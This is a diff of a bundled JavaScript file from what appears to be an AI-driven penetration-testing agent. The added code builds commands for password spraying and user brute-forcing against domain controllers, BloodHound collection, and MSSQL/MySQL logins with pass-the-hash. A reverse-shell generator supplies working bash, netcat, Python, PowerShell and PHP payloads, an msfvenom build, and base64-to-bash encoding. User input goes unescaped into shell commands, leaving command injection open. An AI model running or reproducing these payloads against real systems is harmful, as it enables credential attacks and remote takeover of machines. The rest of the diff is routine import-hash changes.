|
+
cmd += ` --dc ${dc} -d ${domain} ${users}`;
|
|
1869
|
+
} else if (mode === "passwordspray") {
|
|
1870
|
+
cmd += ` --dc ${dc} -d ${domain} ${users} ${passwords}`;
|
|
1871
|
+
} else if (mode === "bruteuser") {
|
|
1872
|
+
cmd += ` --dc ${dc} -d ${domain} ${users} ${passwords}`;
|
|
1873
|
+
}
|
|
1874
|
+
return executeBash(cmd, { timeout: 6e5 });
|
|
1875
|
+
}
|
|
1876
|
+
async function executeBloodhound(input) {
|
|
1877
|
+
const { domain, username, password, collection, zip } = input;
|
|
1878
|
+
let cmd = `bloodhound-python -u "${username}" -p "${password}" -d ${domain}`;
|
|
1879
|
+
if (collection) cmd += ` -c ${collection}`;
|
|
1880
|
+
if (zip) cmd += " --zip";
|
|
1881
|
+
return executeBash(cmd, { timeout: 6e5 });
|
|
1882
|
+
}
|
|
1883
|
+
async function executeMssqlClient(input) {
|
|
1884
|
+
const { target, username, password, hash, query, windows_auth } = input;
|
|
1885
|
+
let cmd = `impacket-mssqlclient`;
|
|
1886
|
+
if (windows_auth) {
|
|
1887
|
+
cmd += ` "${username}"@${target}`;
|
|
1888
|
+
} else {
|
|
1889
|
+
cmd += ` ${username}:${password}@${target}`;
|
|
1890
|
+
}
|
|
1891
|
+
if (hash) cmd += ` -hashes :${hash}`;
|
|
1892
|
+
if (query) {
|
|
1893
|
+
cmd += ` -q "${query}"`;
|
|
1894
|
+
}
|
|
1895
|
+
return executeBash(cmd, { timeout: 6e4 });
|
|
1896
|
+
}
|
|
1897
|
+
async function executeMysqlClient(input) {
|
|
1898
|
+
const { target, username, password, database, query } = input;
|
|
1899
|
+
let cmd = `mysql -h ${target}`;
|
|
1900
|
+
if (username) cmd += ` -u "${username}"`;
|
|
1901
|
+
if (password) cmd += ` -p"${password}"`;
|
|
1902
|
+
if (database) cmd += ` ${database}`;
|
|
1903
|
+
if (query) {
|
|
1904
|
+
cmd += ` -e "${query}"`;
|
|
1905
|
+
}
|
|
1906
|
+
return executeBash(cmd, { timeout: 6e4 });
|
|
1907
|
+
}
|
|
1908
|
+
async function executeReverseShell(input) {
|
|
1909
|
+
const { type, lhost, lport, platform: platform2, encode } = input;
|
|
1910
|
+
const shells = {
|
|
1911
|
+
bash: `bash -i >& /dev/tcp/${lhost}/${lport} 0>&1`,
|
|
1912
|
+
nc: `nc -e /bin/bash ${lhost} ${lport}`,
|
|
1913
|
+
python: `python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("${lhost}",${lport}));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/bash","-i"])'`,
|
|
1914
|
+
powershell: `powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('${lhost}',${lport});$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"`,
|
|
1915
|
+
php: `php -r '$sock=fsockopen("${lhost}",${lport});exec("/bin/bash <&3 >&3 2>&3");'`
|
|
1916
|
+
};
|
|
1917
|
+
if (type === "msfvenom") {
|
|
1918
|
+
const payload = platform2 === "windows" ? "windows/x64/shell_reverse_tcp" : "linux/x64/shell_reverse_tcp";
|
|
1919
|
+
return executeBash(`msfvenom -p ${payload} LHOST=${lhost} LPORT=${lport} -f exe -o /tmp/shell.exe && echo "Payload saved to /tmp/shell.exe"`);
|
|
1920
|
+
}
|
|
1921
|
+
let shellCmd = shells[type] || shells.bash;
|
|
1922
|
+
if (encode) {
|
|
1923
|
+
shellCmd = Buffer.from(shellCmd).toString("base64");
|
|
1924
|
+
shellCmd = `echo "${shellCmd}" | base64 -d | bash`;
|
|
1925
|
+
}
|
|
1926
|
+
return {
|
|
1927
|
+
success: true,
|
|
1928
|
+
output: `Reverse Shell Payload (${type}):
|
|
1929
|
+
|
|
1930
|
+
${shellCmd}
|
|
1931
|
+
|
|
1932
|
+
Listener: nc -lvnp ${lport}`,
|
|
1933
|
+
duration: 0
|
|
1934
|
+
};
|
|
1935
|
+
}
|
|
1334
1936
|
|
|
1335
1937
|
// src/core/hooks/hook-executor.ts
|
|
1336
1938
|
import { spawn as spawn2 } from "child_process";
|
|
@@ -5349,7 +5951,7 @@ var App = ({ autoApprove = false, target }) => {
|
|
|
5349
5951
|
setCheckpointCount(contextManagerRef.current?.getCheckpoints().length || 0);
|
|
5350
5952
|
}
|
|
5351
5953
|
});
|
|
5352
|
-
import("./auto-update-
|
|
5954
|
+
import("./auto-update-QFDCCKMW.js").then(({ checkForUpdateAsync, formatUpdateNotification }) => {
|
|
5353
5955
|
checkForUpdateAsync().then((result) => {
|
|
5354
5956
|
if (result.hasUpdate) {
|
|
5355
5957
|
const notification = formatUpdateNotification(result);
|
|
@@ -5943,7 +6545,7 @@ ${list}`);
|
|
|
5943
6545
|
return;
|
|
5944
6546
|
case "update":
|
|
5945
6547
|
try {
|
|
5946
|
-
const { checkForUpdate, formatUpdateNotification, doUpdate } = await import("./update-
|
|
6548
|
+
const { checkForUpdate, formatUpdateNotification, doUpdate } = await import("./update-OI7M5ERV.js");
|
|
5947
6549
|
const result = checkForUpdate(true);
|
|
5948
6550
|
if (result.hasUpdate) {
|
|
5949
6551
|
const notification = formatUpdateNotification(result);
|
|
@@ -8,8 +8,8 @@ import {
|
|
|
8
8
|
readVersionCache,
|
|
9
9
|
semverTuple,
|
|
10
10
|
writeVersionCache
|
|
11
|
-
} from "./chunk-
|
|
12
|
-
import "./chunk-
|
|
11
|
+
} from "./chunk-LP7NNB7C.js";
|
|
12
|
+
import "./chunk-CJOLRYUP.js";
|
|
13
13
|
import "./chunk-3RG5ZIWI.js";
|
|
14
14
|
export {
|
|
15
15
|
checkForUpdate,
|